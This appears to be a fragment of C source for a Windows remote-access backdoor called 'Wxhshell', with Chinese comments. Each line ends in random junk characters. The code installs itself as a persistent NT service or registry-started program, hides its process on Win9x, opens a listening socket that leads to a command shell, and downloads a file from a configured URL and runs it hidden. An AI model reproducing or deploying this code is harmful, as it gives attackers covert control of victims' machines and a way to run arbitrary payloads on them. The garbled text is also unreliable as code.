ULONG InheritedFromUniqueProcessId; X[1w(d U[
} PROCESS_BASIC_INFORMATION; U%aDkC+M
)bB
Va^
PROCNTQSIP NtQueryInformationProcess; xc1-($Q,
F Xp_`9.zH
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Mdy4H[Odq
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nMH:7[x3
8}|!p>
HANDLE hProcess; 6JE_rAab
PROCESS_BASIC_INFORMATION pbi; :}ZY*ind
/k=krAz.
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X->` ~-aj
if(NULL == hInst ) return 0; C=P}@| K
z_nY>_L83*
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }_9yemP
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fvZ[eJ
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'F Cmbry
\S)cVp)h
if (!NtQueryInformationProcess) return 0; W-4R;!42
Eyg F,>.4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c^}DBvG,
if(!hProcess) return 0; Ca#T?HL
3u1\zse
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; LTnbBh*mc
ic?(`6N8
CloseHandle(hProcess); FtybF
fWl #CI\]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); T)Pr%kF
if(hProcess==NULL) return 0; 7J5Yzu)D
V_jGL<X|
HMODULE hMod; X ="]q|Z
char procName[255]; Poxoc-s
unsigned long cbNeeded; VN]"[
NdM \RD_R
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); LCok4N$o
$qM&iI-l0
CloseHandle(hProcess); 8l>YpS*S^
!.w|+-JKO
if(strstr(procName,"services")) return 1; // 以服务启动 X6n8Bi9Ik
,?VYrL
return 0; // 注册表启动 dG}*M25
} 4gn|zSe>^
9oj0X>| 1
// 主模块 {R7m qzt
int StartWxhshell(LPSTR lpCmdLine) G Cp90
{
`6pz9j]
SOCKET wsl; <P-AlHYV-
BOOL val=TRUE; Xb1is\JB
int port=0; mN'sJ1L-
struct sockaddr_in door; <E7y:%L[Go
Nd**":i$
if(wscfg.ws_autoins) Install(); /D;cm
5)p! }hWs
port=atoi(lpCmdLine); X92I==-w
#QiNSS
if(port<=0) port=wscfg.ws_port; X^d}eWP`I
MG3xX;
WSADATA data; BXUd
i&'O
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Mqm9i
'o1lJ?~kH
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; tCQf `
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); JUTlJyx8
door.sin_family = AF_INET; Q8NrbMrl
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ss'Dto35Q
door.sin_port = htons(port); EP6@5PNZ
L%/atl!
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { j +Ro?
closesocket(wsl); |6~ Kin
return 1; [V41 Gk
} Gvquv\
_>G=xKA#e
if(listen(wsl,2) == INVALID_SOCKET) { ^1X
6DH`
closesocket(wsl); f&C]}P
return 1; D^A#C<Gs
} lt#3&@<v
Wxhshell(wsl); $K_-I8e|
WSACleanup(); ?cgb3^R'
36yIfC,
return 0; |/!RN[<
y@dTdR2Wc
} lF)k4
+M
Zu/1:8x
// 以NT服务方式启动 J%8hf%!ud
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;%O>=m'4
{ r%%<
DWORD status = 0; kTo{W]9]
DWORD specificError = 0xfffffff; fs*OR2YG7
$GIup5
serviceStatus.dwServiceType = SERVICE_WIN32; d&%}u1 .
serviceStatus.dwCurrentState = SERVICE_START_PENDING; laaoIL^
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y_{v&AGmgm
serviceStatus.dwWin32ExitCode = 0; XF99h&;9
serviceStatus.dwServiceSpecificExitCode = 0; 6?= ^8
serviceStatus.dwCheckPoint = 0; }*56DX
serviceStatus.dwWaitHint = 0; sKDL=c;?j
\w2X.2b.F
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yz_xWx#9
if (hServiceStatusHandle==0) return; '
y_2"
\"$jj<gc
status = GetLastError(); Z^GXKOeq
if (status!=NO_ERROR) cDh\$7'b
{ /
2h6
serviceStatus.dwCurrentState = SERVICE_STOPPED; ]}nX$xy
serviceStatus.dwCheckPoint = 0; OCI{)r<O2m
serviceStatus.dwWaitHint = 0; Px?0)^"2
serviceStatus.dwWin32ExitCode = status; ?,FL"ye
serviceStatus.dwServiceSpecificExitCode = specificError; wO"ezQ
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z4tc3e
return; vf['$um
} !tuK.?q|l
g
(V_&Y
serviceStatus.dwCurrentState = SERVICE_RUNNING; s7:w>,v/
serviceStatus.dwCheckPoint = 0; qim|=
serviceStatus.dwWaitHint = 0; y?8V'.f|
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PF:E{_~
} ;;n=(cM|z
Sigu p#.p
// 处理NT服务事件,比如:启动、停止 [I%'\CI;
VOID WINAPI NTServiceHandler(DWORD fdwControl) GlaZZ,
{ ufS0UD8%H
switch(fdwControl) <"x *ZT
{ _Uup*#m
case SERVICE_CONTROL_STOP: Ct}rj-L<i
serviceStatus.dwWin32ExitCode = 0; U<U?&hB\@
serviceStatus.dwCurrentState = SERVICE_STOPPED; fDZnC Fa
serviceStatus.dwCheckPoint = 0; l u V_
serviceStatus.dwWaitHint = 0; u9%AK g}~
{ E1Rz<&L
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 30L/-+r1
} dhI+_z
return;
H9rZWc"*
case SERVICE_CONTROL_PAUSE: ~,reS:9RZ
serviceStatus.dwCurrentState = SERVICE_PAUSED; [300F=R
break; 60%EmX
;
case SERVICE_CONTROL_CONTINUE: f'B#h;`
serviceStatus.dwCurrentState = SERVICE_RUNNING; j%E9@#
break; StM)lVeF
case SERVICE_CONTROL_INTERROGATE: 'pl){aL`@u
break; jX
6+~
}; B~/ejC!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ? p^ ':@=
} <N\#6m
BZ@v8y _TA
// 标准应用程序主函数 Fs1ms)
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~aRcA|`
{ \}NZ]l
!8Q9RnGn
// 获取操作系统版本 wfc+E9E
OsIsNt=GetOsVer(); ,v*<yz/
GetModuleFileName(NULL,ExeFile,MAX_PATH); s h^&3}
o$bD?Zn
// 从命令行安装 407;M%?'A
if(strpbrk(lpCmdLine,"iI")) Install(); qAR}D~ t
sK`pV8&xq
// 下载执行文件 9A1w5|X
if(wscfg.ws_downexe) { S]&7
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ?kM53zbT#
WinExec(wscfg.ws_filenam,SW_HIDE); z}*74lhF
} }8&L?B;90
ShRkL<
if(!OsIsNt) { N^&T5cAC
// 如果时win9x,隐藏进程并且设置为注册表启动 jRzQ`*KC#
HideProc(); `(?x@Y>.Ht
StartWxhshell(lpCmdLine); ^LJ?GJ$g
} L~xzfO
else B|n<{g[-cM
if(StartFromService()) (_O_zu8_
// 以服务方式启动 B%d2 tsDw
StartServiceCtrlDispatcher(DispatchTable); +{S^A)
else ;yK:.Vg
// 普通方式启动 >VWH
bo
StartWxhshell(lpCmdLine); LXQ-J
[XP3
return 0; iv62Fs'
}